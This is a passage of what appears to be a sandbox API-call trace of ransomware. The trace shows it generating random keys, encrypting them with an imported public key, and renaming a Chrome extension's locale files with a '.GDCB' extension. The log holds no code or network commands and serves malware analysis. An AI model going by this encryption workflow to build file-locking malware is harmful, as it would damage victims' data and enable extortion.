pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.374] GetLastError () returned 0x0 [0274.374] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.374] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.376] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b620) returned 1 [0274.376] CryptGetKeyParam (in: hKey=0x679b620, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.376] CryptEncrypt (in: hKey=0x679b620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.377] GetLastError () returned 0x0 [0274.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.377] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.378] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.382] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.385] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29b, lpOverlapped=0x0) returned 1 [0274.394] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.400] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\messages.json.gdcb")) returned 1 [0274.411] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.414] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.417] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.417] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.420] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.422] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.422] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.423] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.426] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b2a0) returned 1 [0274.426] CryptGetKeyParam (in: hKey=0x679b2a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.426] CryptEncrypt (in: hKey=0x679b2a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.426] GetLastError () returned 0x0 [0274.426] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.426] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.429] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b120) returned 1 [0274.429] CryptGetKeyParam (in: hKey=0x679b120, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.429] CryptEncrypt (in: hKey=0x679b120, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.429] GetLastError () returned 0x0 [0274.429] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.429] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.431] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.434] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.436] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x295, lpOverlapped=0x0) returned 1 [0274.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.457] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\messages.json.gdcb")) returned 1 [0274.463] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.466] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.469] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.469] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.469] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.472] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.491] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.491] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.491] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.491] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.498] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b860) returned 1 [0274.498] CryptGetKeyParam (in: hKey=0x679b860, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.498] CryptEncrypt (in: hKey=0x679b860, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.499] GetLastError () returned 0x0 [0274.499] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.499] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.501] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b4a0) returned 1 [0274.501] CryptGetKeyParam (in: hKey=0x679b4a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.501] CryptEncrypt (in: hKey=0x679b4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.501] GetLastError () returned 0x0 [0274.501] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.506] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.509] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29c, lpOverlapped=0x0) returned 1 [0274.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.525] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json.gdcb")) returned 1 [0274.531] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.534] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.537] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.537] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.538] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.541] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.543] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.543] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.543] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.544] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.546] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b160) returned 1 [0274.546] CryptGetKeyParam (in: hKey=0x679b160, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.546] CryptEncrypt (in: hKey=0x679b160, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.547] GetLastError () returned 0x0 [0274.547] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.547] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.549] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b720) returned 1 [0274.549] CryptGetKeyParam (in: hKey=0x679b720, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.549] CryptEncrypt (in: hKey=0x679b720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.549] GetLastError () returned 0x0 [0274.549] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.550] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.551] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.554] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.557] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x30f, lpOverlapped=0x0) returned 1 [0274.565] VirtualAlloc (lpAddress=0x0, dwSize=0x310, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.571] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ru\\messages.json.gdcb")) returned 1 [0274.578] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.582] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.586] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.586] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.586] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.586] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.589] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.591] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.591] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.593] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b660) returned 1 [0274.593] CryptGetKeyParam (in: hKey=0x679b660, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.593] CryptEncrypt (in: hKey=0x679b660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.594] GetLastError () returned 0x0 [0274.594] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.594] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0274.595] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b2e0) returned 1 [0274.596] CryptGetKeyParam (in: hKey=0x679b2e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.596] CryptEncrypt (in: hKey=0x679b2e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.596] GetLastError () returned 0x0 [0274.596] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.597] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.600] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.602] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29f, lpOverlapped=0x0) returned 1 [0274.610] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.617] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.gdcb")) returned 1 [0274.622] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0274.626] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.629] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.629] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0274.629] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0274.632] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.634] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.634] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.634] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.634] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.636] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b320) returned 1 [0274.636] CryptGetKeyParam (in: hKey=0x679b320, 